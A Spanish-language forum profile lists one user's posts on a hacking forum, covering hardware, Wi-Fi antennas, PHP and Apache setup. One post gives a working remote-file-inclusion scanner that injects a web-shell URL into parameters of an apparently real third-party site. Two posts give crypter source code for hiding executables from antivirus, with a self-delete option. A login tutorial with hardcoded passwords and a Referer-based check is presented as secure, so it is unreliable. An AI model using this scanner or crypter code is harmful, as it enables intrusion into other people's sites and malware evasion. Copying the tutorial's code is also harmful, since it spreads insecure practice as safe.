Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Yeshua

#1
Me he llevado una alegría haciendo en Google una búsqueda sobre java XD.

Ha aparecido el viejo foro elhacker.net, ese nombre me ha remontado unos 11 años atrás cuando era usuario habitual de este foro. Por motivos laborales tuve que apartarme un poco del pc pero ahora he vuelto a este mundo de forma seria,
comencé el año pasado un FP superior de DAW y me ha hecho gran ilusión que este foro siga activo y que la interface sea muuuuuuy similar a la de toda la vida.

He hecho un poco de memoria... user and pass.. y adentro!!!!  ;-) ;-) ;-)

Aquí estoy de nuevo. Os guardaré de nuevo en favoritos y por aquí nos leeremos.

saludos!!

#2
Hardware / Consejo placa base AMD componentes
4 Agosto 2011, 22:22 PM
Hola, estoy buscando montarme un pc por piezas algo curiosillo. Mi intención es AMD ya que tengo uno montado con un athlon y me gusta. Me parece calidad precio bastante bueno. Ya que lo monto quiero algo que dure lo máximo y he pensado en placa potente que soporte hasta 16 gb(solo metere 8 máximo y depende configuración, se que 16 es un gasto tonto) Me decanto por placas con el sock AM3 para meterle el x4 o x6. (si es el x6 sería el mas alto de gama) Respecto a la grafica alguna ddr5 (hay ya me pillais de compatibilidad rendimiento, asique me dejo guiar).

He visto esta placa AMD ASROCK 790GXPRO  bastante bien de precio, pero calidad y resultados desconozco. ¿me la aconsejan? hasta ahora estaba siguiendo las asus, el modelo no lo recuerdo, pero estaba sobre 120 pavos.

Saludos !!
#3
Diseño Gráfico / Opiniones y sugerencias de diseño.
26 Septiembre 2010, 13:21 PM
Hola,

Estoy avanzando algo más de mis conocimientos en CS4. He estado haciendo algunas cosillas, mi ultimo "trabajillo" es este. Me gustaria vuestra opinión, así como alguna sugerencia para el fondo ya que lo veo algo vacio. La niña esa acojona pero... jejeje





Antes: http://img512.imageshack.us/i/1381xxx.jpg/
Ahora: http://img683.imageshack.us/i/fondoxxx.jpg/
Un Saludo!
#4
Hola, estoy intentando crear una aplicación de facebook.  Para ello tengo que vincular la API de facebook y mi servidor. Tras resolver el problemilla con php_curl. Me vuelve a dar otro error con la libreria JSON. La tengo descargada y todo pero no se donde descomprimirla y como habilitarla para php. La versión de php que uso es la 5.1.2. El error que me tira al intentar conectarse a facebook es este:


Fatal error: Uncaught exception 'Exception' with message 'Facebook needs the JSON PHP extension.' in C:\ixs\htdocs\aaaa\abc-abc\facebook.php:7 Stack trace: #0 C:\ixs\htdocs\aaaa\abc-abc\index.php(3): require() #1 {main} thrown in C:\ixs\htdocs\aaaa\abc-abc\facebook.php:7on line 7


Espero que me puedan ayudar. Gracias
#5
Juegos y Consolas / Jugar online Age Of Empires II
27 Septiembre 2009, 16:53 PM
Hola, es la primera vez que me dejo caer por el apartado de juegos, la verdad que apenas juego en el pc. Pero el otro día un colega me dijo que me instalara el Age of Empires II of the kings creo que es. El caso es que quiero jugar online con un colega pero no soy capaz... He intentado hacerlo a través del Hamachi, pero no puedo... también he abierto los puertos del router. Le meto la ip del hamachi pero no salen las partidas.

Espero que me puedan ayudar ya que no puede ser tan chungo. Enga Saludos!
#6
Hola, que tal, a ver si me pudieran echar una mano, se los agradeceria mucho. Verán. Estoy probando a montar un escaner rfi para investigar sobre esto en mi host. El host tiene montado el appserv 2.5.9, aunque también probé con otras versiones. El codigo de php lo cogí de una web, anda bien, ya que lo he probado en otros host y funciona perfecto, pero en el mio me salen errores... creo que debe de ser por la versión del php (si me reconoce otras web en php con codes más simples, depende de las funciones creo). El caso es que en otro host con la misma versión de appserv si que anda pero en la mia no  :-\.

El code es este por si lo quieren probar:

Código (php) [Seleccionar]
<html>
<bogy>

<?
/*
RFI Scanner 1.0
Author: elefrEn
Website: http://elefren.com/
email: efnworkz@hotmail.com

Dedicated to Spanish Hackers Team - http://spanish-hackers.com/
Gr33tz: -> JosS | nhh-32 | Omega <-
*/

set_time_limit(0);

#Config
$urlweb = "http://www.aeev.net";# Out http://, ex: google.com
$urlshell = "http://xxxxxxxxxxx/shell/r57.txt";# Url where you sent the shell script
$comunvars = "cual|admindir|sec|id|file|doc|module|modulo|name";# Comun vars vulns to RFI in cms´s, etc...
$filetoscan = "index.php";# The file that you want scan

#Funcs
function vars($url){
$xpl = parse_url($url);$xpl = $xpl[query];$xpl = explode("&",$xpl);
$var = 0;
while($var < count($xpl)){
$v4r = explode("=",$xpl[$var]);
$m0s .= '|'.$v4r[0];
$var++;
}
$m0s = str_replace('amp;','',$m0s);
return $m0s;
}
function beerres($list, $barras = FALSE){
$s3p4 = '<br>';
if($barras) $s3p4 = '|';
$list = explode('|',$list);
$var = 0;
while($var < count($list)){
if($list[$var] != ''){
if(!@preg_match("/$list[$var]/i",$m0s) ){
$m0s .= $list[$var].$s3p4;
}
}
$var++;
}
return $m0s;
}
function extrac($n00b, $file = FALSE){
$n0ob = 'http://'.$n00b;
$source = join("",file(&$n0ob));
$vars = preg_match_all('/<a href="'.$file.'(.*)">(.*)<\/a>/i',$source,$results);
$t0t = count($results[1]);
$var = 0;
while($var < $t0t){
$xtr = explode('"',$results[1][$var]);
$urllist .= $xtr[0].'|';
$varlist .= vars($xtr[0]);
$var++;
}
$m0s .= $varlist;
return beerres($m0s,1);
}
function rfi($vars,$web,$file,$urlshell){
$list = explode('|',$vars);
$var = 0;
while($var < count($list)){
$url = $web.$file."?".$list[$var]."=".$urlshell."?";
$source = join("",file(&$url));
if(preg_match("/shell/i",$source)){
$m0s .= "<font color=red><b>RFI-></b></font> ";
}else{
$m0s .= "<font color=green><b>Secure-></b></font> ";
}
$m0s .= $url.'<br>';
$var++;
}
return $m0s;
}

#Exec
echo rfi(extrac($urlweb).$comunvars,'http://'.$urlweb.'/',$filetoscan,$urlshell);
?>
</body>



Los errores son estos:

Código (apache) [Seleccionar]
Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 52

Warning: file(http://http://www.aeev.net) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 52

Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 52

Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70

Warning: file(http://http://www.aeev.net/index.php?cual=http://xxxxxxxxxxxxxxx/shell/r57.txt?) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 70

Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70

Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70

Warning: file(http://http://www.aeev.net/index.php?admindir=http://xxxxxxxxxxxxxx.org/shell/r57.txt?) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 70

Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70

Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70

Warning: file(http://http://www.aeev.net/index.php?sec=http://xxxxxxxxxx.org/shell/r57.txt?) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 70

Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70


Laa linea 52 contiene esto: function extrac($n00b, $file = FALSE){
Y la 70: $var = 0;

Así unas cuantas de veces asta llegar al final de la web donde ya me sale lo que debería de salir, aunque dan mal el resultado... por los errores supongo.

Espero su ayuda, gracias de antemano.

Saludos
#7
Hola, aun sigo con mi proyecto (un crypter) pero me he vuelto a atrancar, ahora le quiero poner una opción de melt, para que elimine el cifrado en su ejecución o al pasar un tiempo.
Para ello e usado un modulo que vi por aquí y e echo esta yamada en el form

Código (vb) [Seleccionar]
If Check2.Value = 1 Then
Call meltfile (Stubpath)
    End If


Pero lo que pasa es que con esto lo que hace es melt del programa y no del archivo que crea  :(

Tambien he probado con

Código (vb) [Seleccionar]
If Check2.Value = 1 Then
kill stubpath
end if


Esto si me funciona pero lo elimina al momento, y lo que me gustaria hace es por ejemplo que me lo eliminara al paso de 10 segundos, por lo que creo un timer con interval de 1000
y meto este codigo:

Código (vb) [Seleccionar]
If Check2.Value = 1 Then
Kill Stubpath = Timer1
    End If


Pero entonces me lo elimina igual, ni me aparece XD.


Gracias espero su ayuda.

Saludos.
#8
Hola estoy modificando el soucer de un crypter, le quiero añadir la opción de que me cambie el icono del archivo cifrado. Me he quedado ahí que no avanzo ya que si no marco la opción de cifrar el cripter funciona a la parfección, pero si no lo marco el cmd de cifrar se queda sin funcionar, no anda hasta que lo desmarque... El programa no me da errores, los modulos creo que estan bien, al igual que los eventos... este es el codigo del cmd para cifrar

Código (vb) [Seleccionar]
Private Sub chameleonButton3_Click()
On Error GoTo ende
    Dim Buffer() As Byte
    Dim ResBuffer() As Byte
    Dim EofData As String
    Dim Buffer2 As String
    Dim Stubpath As String
       
         Dim eRR As String
         
        If Text1.Text = "" Then
        MsgBox "Selecciona el fichero a cifrar"
     chameleonButton1 = True
  End If
       
    With CommonDialog1
        .CancelError = True
        .DialogTitle = "Select where to save the crypted file.."
        .DefaultExt = ".exe"
        .Filter = "Executables|*.exe"
        .FileName = "Crypted232.exe"
       
        If Op1.Value = True Then
ReplaceIcons CommonDialog1.FileName, App.Path + "\" + "Crypted111" + ".exe", eRR
End If
    End With
   
     
   
    CommonDialog1.ShowSave
    Stubpath = CommonDialog1.FileName
   
    ResBuffer() = LoadResData(101, "STUB")
    Open Stubpath For Binary As #2
    Put #2, , ResBuffer()
    Close #2

    Text3.Text = Text3.Text & "File read.." & vbCrLf
    Text3.Text = Text3.Text & "Crypting.." & vbCrLf
   
    EncodeArrayB LoadFile(Text1.Text), Text2.Text
    Buffer() = encoded()
   
    Buffer2 = StrConv(LoadFile(Text1.Text), vbUnicode)
    EofData = Mid(Buffer2, GetEOF(Text1.Text), FileLen(Text1.Text))
   
       


    Open Stubpath For Binary As #1
    Put #1, LOF(1) + 1, "<F1l3>"
    Put #1, LOF(1) + 1, Buffer()
    Put #1, LOF(1) + 1, "<F1l3>"
    Put #1, LOF(1) + 1, Text2.Text
    Put #1, LOF(1) + 1, "<F1l3>"
    Put #1, LOF(1) + 1, EofData
    Close #1
   
   

    'PatchEOF Stubpath 'removed cause it crashes the eof data
   
    Open Stubpath For Binary As #1
    Put #1, LOF(1) + 1, EofData
    Close #1
   
   
    Call ReplaceIcons(CommonDialog1.FileName, Stubpath, eRR)
   
   


    Text3.Text = Text3.Text & "Successfull!" & vbCrLf
    MsgBox "The file has been successfully crypted", 64, "Lilith"
ende:
End Sub



Si alguien me puede ayudar se lo agradezco mucho, le podria pasar el source completo por si así no lo ve claro.

Gracias de antemano, un saludo.
#9
Hola aquí les dejo un aporte, aun estoy empezando en vb, espero qe les guste.

El programa es un scaner de puertos.



Lo pueden probar en:

http://www.megaupload.com/es/?d=OVXRTGDS
#10
Hola como dije ayer por aquí me voy a pillar un adaptador wifi usb con sma y me estoy haciendo una antena biquad como iluminador de una parabolica. La biquad es triple con 2 pisos. Mi idea es ponerla dentro de una fiambrera o taper con el fondo de aluminio, no se si perdera señal si la cierro y si gano mas dejandola abierta sin su tapedera. O bien es indiferente, ya que he visto de todo. Dependiendo de lo que me digais cogere como base o bien la tapa del taper o sino todo el recipiente.Cuando este terminada pongo unas fotos para quien quiera cojer la idea.

Saludos y Gracias

**
Ups este tema debe ir en materiales y equipos, lo siento, me di cuenta tarde... si lo cambian mejor :p
#11
Hola hace algún tiempo me aparece cada vez que me quiero meter en el foro una pantalla en blanco en la que se me avisa que es como un filtro para proteger el foro de posibles ataques. El caso es que hoy me he conectado y me encuentro otra pantalla de aviso sobre esta en la que me dice que estoy infectado con un virus peligroso, que me desinfecte con un av....

Puede ser que se deba a que en mi pc tengo el bitfrost o el turkojan??? Cosa que me extraña poque los tengo hace mucho tiempo y no ocurrio nada de esto. Por otra parte hoy me he encontrado el pc apagado... cosa que me mosquea xq los plomos estaban bien...

Estoy algo acojonado xq mi pc está como servidor web y me da miedo perder el trabajo o que accedan a documentos de la web privados.

Ayuda pleace. Gracias.
#12
Hola de nuevo compañeros. Tras hacer investigaciones con la antena de radio que hace unas semanas os comenté, con bote de patatas pringelss y lo último, una parabolica de Via digital,  voy a pillarme en ebay un adaptador usb con conector sma, ya que el que tengo pienso que no merece mucho la pena modificarlo, además de que creo que no hay posibilidad... bueno, el caso es que dudo en cual cogerme y que poder hacer con él. La primera opción seria el USB WIFI 802.11BG conector SMA Hembra RP+Antena de 5dBi http://cgi.ebay.es/USB-WIFI-802-11BG-conector-SMA-Hembra-RP-Antena-de-5dBi_W0QQitemZ280280541912QQcmdZViewItem?hash=item280280541912&_trkparms=72%3A895%7C39%3A1%7C66%3A2%7C65%3A12%7C240%3A1318&_trksid=p3286.c0.m14 , la segunda opción es un usb LONG range USB 2.0 WiFi RP-SMA + 4dBi antenna *54 Mbps* http://cgi.ebay.es/LONG-range-USB-2-0-WiFi-RP-SMA-4dBi-antenna-54-Mbps_W0QQitemZ370098593933QQcmdZViewItem?hash=item370098593933&_trkparms=72%3A895%7C39%3A1%7C66%3A2%7C65%3A12%7C240%3A1318&_trksid=p3286.c0.m14 , y la tercera opción sería un adaptador alfa con su antena, que es un pepino, lo que pasa que se va algo de precio. Mi idea seria enchufar cualquiera de estas a la parabolica  mediante una doblebiquad de 6 rombos, unida con un rg 8 o 6, depende de lo que me digais (ahora tengo el adaptador usb metido en el dipolo de ésta y... no va mal pero algo pobre). En la biquad pondria un conector N hembra y lo conectaria a esta tarjeta mediante un pigtail, en una punta con el N macho y en la otra con el sma macho.

Bueno despues de este royo que he soltado, ¿que me aconseajis?¿cuanto me costará además de la tarjeta lo de los conectores y demás? ¿obtendré  más ganancia con la parabolica que con la antena propia que trae la antena?

Bueno, saludos y espero que me podais ayudar.
#13
Hola hoy he quitado la antena de radio que tenia junto a la de Tv que estaba en el tejado de mi casa. El caso es que se me ha ocurrido transformarla en antena wifi, no se si se puede hacer (pienso que si ya que la estructura es parecida a éstas). He visto que se hacen desde con cacerolas, botes de papas, etc. Mi pregunta es como hago para conectarle el usb a ésta. Aquí aporto unas imganes a ver que me decis de ésto y si es posible, así como que materiales necesito.




Saludos y Gracias

PD: Está claro que la antena necesitaria un saneadito jeje.
-----

Jeje. Lo que en un principio era una pregunta, ahora tras probarlo se convierte en afirmación. Se puede, y vaya si se puede. Fue tan facil como conectar el cable que sale de la antena al llaverito wifi (solo con liarle el cobre alrededor de su parte metalica) y ya está. Me aumenta considerablemente la señal. Cojo redes que antes ni cogia, aunque su señal no es gran cosa; pero bueno, ya mi red no se cae nunca.

Saludos y si teneis la opotunidad de reciclar una antena de TV o radio vereis los resultados.

#14
Crear  área restringida con php en nuestra web.

Hola, ¿Cómo están? Aquí les dejo una forma sencilla de crear un area de nuestra web restringida con usuario y password hacia una página personal de nuestro usuario. Este tuto lo hago despues de pasar lo mio para llegar a este fin, a si que espero que les sirva.

Antes de nada debo decir que para realizar una web en php es necesario tener algún interprete de éste para poder ejecutarlo.

Materiales a utilizar:
- bloc de notas
- interprete de php (en mi caso AppServ  con php5)

Archivos a utilizar:
-página de ingreso: (en nuestro ejemplo se llamará ingreso.php) ingreso.php
-página de control: (donde se verifica si el user y password están restringidos) control.php
-página privada: (area restringida personal para nuestro usuario) user1.php// user2.php// user3.php


 Para seguridad ingresaremos un par de códigos en las páginas que a continuación explicaré y tomaremos algunas precauciones más.


Es hora de comenzar, guardaremos este formulario de inscripción en un bloc de notas o lo insertaremos  en la página de inicio que nosotros queramos, ojo, siempre con la extensión .php (en este caso ingreso.php):

Código (php) [Seleccionar]

<html>
<head>
<title>Acceso Restringido</title>
</head>
<body>
<h1>Autentifíquese</h1>
<form action="control.php" method="POST">
<table align="center" width="225" cellspacing="2" cellpadding="2" border="0">
<tr>
<td colspan="2" align="center"
<?if ($_GET["errorusuario"]=="si"){?>
bgcolor=red><span style="color:ffffff"><b>Datos incorrectos</b></span>
<?}else{?>
bgcolor=#cccccc>Introduce tu clave de acceso
<?}?></td>
</tr>
<tr>
<td align="right">USER:</td>
<td><input type="Text" name="usuario" size="8" maxlength="50"></td>
</tr>
<tr>
<td align="right">PASSWD:</td>
<td><input type="password" name="contraseña" size="8" maxlength="50"></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="Submit" value="ENTRAR"></td>
</tr>
</table>
</form>
</body>
</html>


Bien, ahora abrimos otro bloc de notas e insertaremos el siguiente código para validar los usuarios que estén registrados y mandarlos a su página privada.

Código (php) [Seleccionar]
<?
//vemos si el usuario y contraseña es váildo
if ($_POST["usuario"]=="user1" && $_POST["contraseña"]=="xxxx"){
    //usuario y contraseña válidos
    //defino una sesion y guardo datos
    session_start();
    $_SESSION["autentificado"]= "SI";
    header ("Location: user1.php");
}else {
    //si no existe le mando otra vez a la portada
    header("Location: ingreso.php?errorusuario=si");

if ($_POST["usuario"]=="user2" && $_POST["contraseña"]=="asdfg"){
    //usuario y contraseña válidos
    //defino una sesion y guardo datos
    session_start();
    $_SESSION["autentificado"]= "SI";
    header ("Location: user2.php");

}else {
    //si no existe le mando otra vez a la portada
    header("Location: ingreso.php?errorusuario=si");

if ($_POST["usuario"]=="user3" && $_POST["contraseña"]=="pepe69"){
    //usuario y contraseña válidos
    //defino una sesion y guardo datos
    session_start();
    $_SESSION["autentificado"]= "SI";
    header ("Location: user3.php");

}else {
    //si no existe le mando otra vez a la portada
    header("Location: ingreso.php?errorusuario=si");
}
}
}
?>


Pues bien, ya estamos finalizando. Abrimos otro bloc de notas, o bien seleccionamos la web que tengamos creada de nuestro  user1.php //  user2.php  //  user3.php e inserteremos el siguiente código:

Código (php) [Seleccionar]

<?php 
if(!($_SERVER["HTTP_REFERER"]==" ingreso.php")){ 
echo 
"No puedes entrar, debes registrarte"
exit(); 
}
?>

<html >
<head>
<META NAME = "ROBOTS" CONTENT = "NOARCHIVE">
<title>USER1</title>
</head>
<body>
Estas autentificado, este es tu espacio personal.
<a href="salida.php" target="_top">Salir de forma segura</a> 
</body>
</html>


<?php
if(!($_SERVER["HTTP_REFERER"]=="ingreso.php" )){
echo "No puedes entrar, debes registrarte";
exit();
}
?>

El código éste, el que se situa al inicio del todo de la web sirve para que nadie pueda acceder a la zona restringida sin poner en la pagina ingreso.php los datos.


Asegurense de no dejar espacio entre el  código de php y el <html>
Fijense en esta etiqueta: <META NAME = "ROBOTS" CONTENT = "NOARCHIVE">
Esto evita que la web sea registrada por los motores de búsqueda de tipo google.  Aumentando algo más la seguridad.
Con este propósito, y con el fin de que no puedan acceder a el sitio donde tengamos ubicadas las páginas privadas (o mejor dicho que se les complique más) es introducir un archivo index.html  en blanco en la carpeta que queramos ocultar.

Esto fue todo, creo que esto tiene suficiente seguridad (a no ser que vayamos a albergar cuentas de crédito o cosas así, jaja) como para poder proteger  un área (si estoy equivocado por favor díganmelo, no soy un experto pero creo que esto para mis necesidades me sobra). Claro que es mucho mejor con bases de datos, este será mi próximo objetivo.

Saludos y díganme si les gustó, si tiene algún error, si no les funciona(a mi me va perfecto), etc.

--permito su publicación otro sitio siempre que se cite la fuente o autor.

PD: Este tuto ha sido elaborado completamente por mi, los codigos los he cogido de algunas web´s que no cito porque ni recuerdo cuantas miré para hacer lo que era mi proposito, por lo que en gran medida tube que ingeniarmelas para sin saber casi nada de php adaptarlo a mi caso. No creo que esto viole nada contra la propiedad o derechos de autor, si es así. diganmelo.
#15
PHP / Problema con php para web con usuer y password.
28 Septiembre 2008, 19:14 PM
Hola estoy empezandon con php. Tengo algunos conocimientos de html, y tambien hice algun programita con vb.
Tengo una web creada ahora y necesito lo siguiente:

Que cada usuario tenga una contraseña asignada y esto le direccione a su pagina  personal (muy simpre). He leido bastante sobre esto, hacerla con scripts, con bases de datos, o con php. Los scrips no me parece buena idea. Lo de la base de datos, he leido pero no me queda muy calaro, tengo creada una tabla y eso pero estoy algo perdido. Y lo de php es donde estoy metido, espero que se pueda mediante este metodo. Mi web es en .php donde le tengo metido este codigo

Código (php) [Seleccionar]
<form action="control.php" method="POST">
<table align="center" width="194" cellspacing="2" cellpadding="2" border="0">
<tr>
<td colspan="2" align="center"
<?if ($_GET["errorusuario"]=="si"){?>
bgcolor=red><span style="color:ffffff"><b>Datos incorrectos</b></span>
<?}else{?>
bgcolor=>Introduce tu clave<?}?></td>
</tr>
<tr>
<td width="67" align="right">USER:</td>
<td width="144"><input type="Text" name="usuario" size="8" maxlength="50"></td>
</tr>
<tr>
<td align="right">PASSWD:</td>
<td><input type="password" name="contrasena" size="8" maxlength="50"></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="Submit" value="ENTRAR"></td>
</tr>
</table>
</form>
 


Con el original (este de mas abajo), situado en control.php me direcciona a una sola web con clave, que si me fuinciona a la perfección, lo que pasa es que yo necesito usuarios y páginas personaizadas.

Código (php) [Seleccionar]

<?
//vemos si el usuario y contraseña es váildo
if ($_POST["usuario"]=="carlosruiz" && $_POST["contrasena"]=="industriales"){
    //usuario y contraseña válidos
    //defino una sesion y guardo datos
    session_start();
    $_SESSION["autentificado"]= "SI";
    header ("Location: asdas.html");
}else {
    //si no existe le mando otra vez a la portada
    header("Location: asdas.php?errorusuario=si");

}
?>


Por lo que le he intentado hacer unos arreglillos para conseguir mi proposito, lo que ocurre es que el unico usuario y contraseña que me funciona es el último que pongo. Resultandome si pongo algunos de los primero el error que tengo programado "asdas.php?errorusuario=si".

Código (php) [Seleccionar]

<?
if ($_POST["usuario"]=="carlos" && $_POST["contrasena"]=="xxxx") {
//usuario y contraseña válidos
    //defino una sesion y guardo datos
    session_start();
    $_SESSION["autentificado"]= "SI";
    header ("Location: 312.html");
}else {
    //si no existe le mando otra vez a la portada
    header("Location: asdas.php?errorusuario=si");
};
if ($_POST["usuario"]=="angel" && $_POST["contrasena"]=="atleti") {
//usuario y contraseña válidos
    //defino una sesion y guardo datos
    session_start();
    $_SESSION["autentificado"]= "SI";
    header ("Location: 233.html"); 
}else {
    //si no existe le mando otra vez a la portada
    header("Location: asdas.php?errorusuario=si");
};
if ($_POST["usuario"]=="jluis" && $_POST["contrasena"]=="holaa") {
//usuario y contraseña válidos
    //defino una sesion y guardo datos
    session_start();
    $_SESSION["autentificado"]= "SI";
    header ("Location: 234.html"); 
}else {
    //si no existe le mando otra vez a la portada
    header("Location: asdas.php?errorusuario=si");
};
?>


Espero que me duedan orientar sobre este tema. Gracias de antemano.
#16
Muy buenas comunidad, éste es mi primer aporte documentado al foro, algo modesto pero bueno. Se trata de un tutorial para hacer funcionar Apache tanto en modo local como para tener acceso desde cualquier pc, es decir, subirlo a red para que cualquiera pueda acceder a nuestro servidor web. Ya se que hay muchos tutos sobre esto, pero yo me he encontrado con numerosos problemas a la hora de hacerlo funcionar, y por eso éste, con el fin de que cualquier usuario con conocimientos mínimos consiga poner en marcha su pequeño servidor desde su pc particular. Bien dejémonos de palabrería y vamos al grano.

Antes de nada asegúrate de que no tengas ningún servidor previamente instalado como jana server u otro, si es así, apágalo y posteriormente continua con los pasos.

Para comenzar descargaremos  APPSERV, el 2.5.10  desde aquí http://www.appservnetwork.com/  ya que es un pack donde ya trae configurado http, mysql y ftp, lo descargamos y le damos a instalar. Le dejamos que se instale en C:/ ya que así no nos complicamos tanto la vida. Seleccionamos todos los componentes. En la ventana siguiente nos saldrá la configuración de apache http, ahí en Server Name le ponemos: localhost y en Administrator´s Email address nuestro correo (o nada ya que si no tenemos correo propio no nos notificará), el puerto le dejas el 80.

A continuación en la configuración de MySql ponemos la contraseña que queramos y lo dejamos todo como viene. El usuario por defecto de MySQL será root y la contraseña la que tú eligieras.

Ahora vamos a crearnos un dominio en NO-IP, cosa muy sencilla,  y descargaremos también el NO-IP DUC, aquí dejo un enlace explicativo muy bueno y completo: http://www.ayuda-internet.net/tutoriales/manu-noip/manu-noip.html

Seguramente ya esté funcionando en modo local. Lo comprobaremos poniendo en la barra del navegador http://localhost  y te debe aparecer la página del proyecto de apache. Si no has tenido suerte probaremos manualmente, de la siguiente manera:

Iremos a Inicio/ AppServ/ Configuratión Server/  Apache edit httpd.confg y nos saldrá un bloc de notas con muchos letrajos. Ojo no tocar nada que no sepas. Tampoco te asustes  ya que todo lo que procede de # es una explicación.
También se puede acceder de forma manual a través de las carpetas colocadas en C:/.

Pues bien, una vez abierto éste buscamos la línea siguiente:

Código (apache) [Seleccionar]

# httpd daemons, you will need to change at least LockFile and PidFile.
#
ServerRoot "C:/AppServ/Apache2.2"
#
# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, instead of the default. See also the <VirtualHost>
# directive.
#
# Change this to Listen on specific IP addresses as shown below to
# prevent Apache from glomming onto all bound IP addresses (0.0.0.0)
#
#Listen 12.34.56.78:80
Listen 80
#
# This configuration file reflects default settings for Apache HTTP Server.
#
# You may change these, but chances are that you may not need to.



Y nos fijamos que ponga: Listen 80. Esto está más o menos al principio de todo el código.
A continuación seguimos bajando un poco más y nos fijamos en:

Código (apache) [Seleccionar]


# All of these directives may appear inside <VirtualHost> containers,
# in which case these default settings will be overridden for the
# virtual host being defined.
#

#
# ServerAdmin: Your address, where problems with the server should be
# e-mailed.  This address appears on some server-generated pages, such
# as error documents.  e.g. admin@your-domain.com
#
micorreo@gmail.com

#
# ServerName gives the name and port that the server uses to identify itself.
# This can often be determined automatically, but we recommend you specify
# it explicitly to prevent problems during startup.
#
# If your host doesn't have a registered DNS name, enter its IP address here.
#
ServerName http://localhost:80
ServerName http://midomini.no-ip:80
#
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "C:/AppServ/www"


Aquí nos fijamos que ponga ServerName http://localhost:80  y ServerName http://eldominiodeno-ip:80

Ahora si que nos tiene que funcionar el http://localhost o http://127.0.0.1 , primero, en caso de que hayamos modificado algo en el httpd.conf reiniciamos apache, en Apache Restart, ojo no el pc. (Hay algunas versiones en las que solamente aparece una página en blanco que pone IT´S WORK)
Pues bien, ya está apache en modo local. Ahora nos queda subirlo para que la gente pueda ver nuestra web.

Primero desactivaremos el cortafuego si tenemos otro distinto al de Windows, en mi caso el nod-32 y hacemos las excepciones correspondientes al puerto 80 en el firewall de Windows. Posteriormente pasamos a la página de configuración de nuestro  router (poniendo la puerta de enlace predeterminada, generalmente 192.168.1.1), en mi caso Livebox y  vamos a Enrutador/ NAT, en el caso de otro router, como el comtrend de telefónica estaría en Virtual Server/ NAT, es cuestión de mirar el manual de éste,  pero siempre será la opción NAT, independientemente de la distribución de sus posibilidades.

Bien ahí, en NAT, le damos a agregar. Y o bien seleccionamos una aplicación de la lista que nos aparecerá o bien le ponemos el nombre que nosotros queramos en la de debajo , lo mas lógico, apache; En las casillas de los puertos internos y externos ponemos el puerto 80 en tcp y udp. En la dirección IP del servidor colocaremos nuestra IP local.

Ésta se ve de la siguiente forma: inicio/ ejecutar/ cmd/ ipconfig/ y la dirección ip que nos salga, generalmente 192.168.1.X. Aconsejo hacer ésta fija para que no se nos varíe si conectamos otro equipo antes. Esto se hace de la siguiente manera:
Panel de Control/ Conexiones de Red/botón izquierdo/ propiedades/ Protocolo de Internet (TCP/IP)/ Propiedades o doble clic. Y ahí pondremos la IP y la puerta de enlace predeterminada, ya que la mascara subred se asigna directamente.
Posteriormente pasaremos en la página de configuración del router a DNS-DINAMICA, donde pondremos el servicio que queramos, en nuestro caso no-ip y el nombre del dominio y correo electrónico, junto con la contraseña del no-ip.
Tras esto iremos la seguridad del router y entraremos en el firewall, colocándolo en la opción: bajo, que será la que permita la entrada desde el exterior a través de éste.

Por último activaremos el NO-IP DUC y nos fijaremos que nos salga la carita con los coloretes, teniendo firewall del pc descactivado. Colocaremos http://nuestrodominio.no- ip.xx en nuestro navegador y ya está. La web puede ser vista desde China jejeje.

Para albergar la web que queramos, tan solo tendremos que sustituir la web  por defecto por  otra que sea index.html o index.php  en la ruta C:\AppServ\www .

Nota: En mi primer intento lo intente hacer  correr el servidor bajo un router comtrend de telefónica, pero me fue imposible ya que tenía demasiados impedimentos técnicos al perecer. La solución fue el cambio de router y voilá, a la primera. Si hay alguien que lo hizo correr bajo este router por favor que me diga como cambió el puerto de entrada http de éste a otro que no fuera el 80, porque es ahí donde está el problema.

Pues bien, esto fue todo, espero que les haya gustado y ayudado. Se que no será ni mucho menos perfecto y que tendrá algún error o convendrá alguna aclaración. Por lo que pido que la posteéis.

Gracias a esta comunidad que me ayudó a poner en marcha este proyecto y la cual me ayudó mucho.

PD: Si alguien posee imágenes explicativas de los pasos, que las posteé o las mande por privado para mejorarar el manual.
Permito la publicación de este manual en otros lugares siempre que se cite el autor.